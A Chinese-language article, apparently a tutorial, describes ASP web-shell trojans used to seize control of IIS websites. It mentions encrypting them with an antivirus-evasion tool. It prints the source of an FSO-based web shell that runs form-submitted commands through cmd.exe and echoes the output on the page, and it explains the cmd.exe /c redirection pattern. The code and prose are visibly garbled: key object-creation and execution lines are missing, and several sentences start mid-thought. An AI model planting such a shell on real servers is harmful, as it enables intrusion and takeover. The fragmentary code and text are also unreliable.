现在很多的站点,为便于建站和后台管理,都使用ASP动态程序。但这也为整个站点的安全带来很大隐患,现在典型的网站攻击就是通过植入ASP木马,从而得到系统的控制权。早期的asp木马一般有数个文件,随着asp木马的易用性、隐蔽性以及强大的可执行性,因此得到越来越的黑客和入侵者的青睐,asp木马技术也就水涨船高,现在的asp木马文件已经集成到一个文件,其大小也就二三十k,而且可以通过使用“asp木马免杀工具2.0”等软件来对asp源程序进行加密等方法,躲过防毒软件对其的查杀。下面就对目前比较流行的木马技术、木马软件以及木马防杀毒技术进行介绍。
(一)木马核心技术介绍
Asp木马中最核心的技术就是利用脚本创建对象,然后利用cmd.exe命令来执行对文件的创建、删除以及修改等操作。下面就目前较为流行的利用FSO以及不利用FSO技术的木马程序源代码进行介绍。
说明:FSO是对FileSystemObject的简称,IIS4以及后续版本中的ASP的文件操作都可以通过FileSystemObject实现,包括文本文件的读写目录操作、文件的拷贝改名删除等。FileSystemObject带来方便的同时,也具有非常大的风险性,利用FileSystemObject可以篡改并下载Fat以及FAT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。
1.使用FSO技术的asp木马
codepage ="936" %>
<%
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
'使用Run方法创建一个新的进程,隐藏窗口并激活另一窗口,返回由应用程序返回的任何错误代码
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打开临时文件szTempFile
End If
%>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll) '在网页上输出命令执行的结果
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True) '删除临时文件szTempFile
End If
%>
来调用常用的delete、copy、dir、net、netstat等一些DOS命令。
其原型为:
cmd.exe /c “dos命令” > “文件名称”
如要查看c盘所有文件并将查看结果输出到viewdrive_c.txt的命令为:
cmd.exe/c dir c:\ >viewdrive_c.txt
说明:“>”是将命令执行的结果输入到一个文件。“文件名称”中如果没有指定路径则默认保存在当前目录下。
注意:在输入的命令之间要留一个空格。
三个脚本对象,接着执行Dos命令解释器并执行所输入的Dos命令,并将输入其命令的执行结果到一个临时文件(szTempFile),然后打开临时文件并将其结果回显在网页上,最后删除临时文件。运行结果如图1所示。
2.非FSO技术的asp木马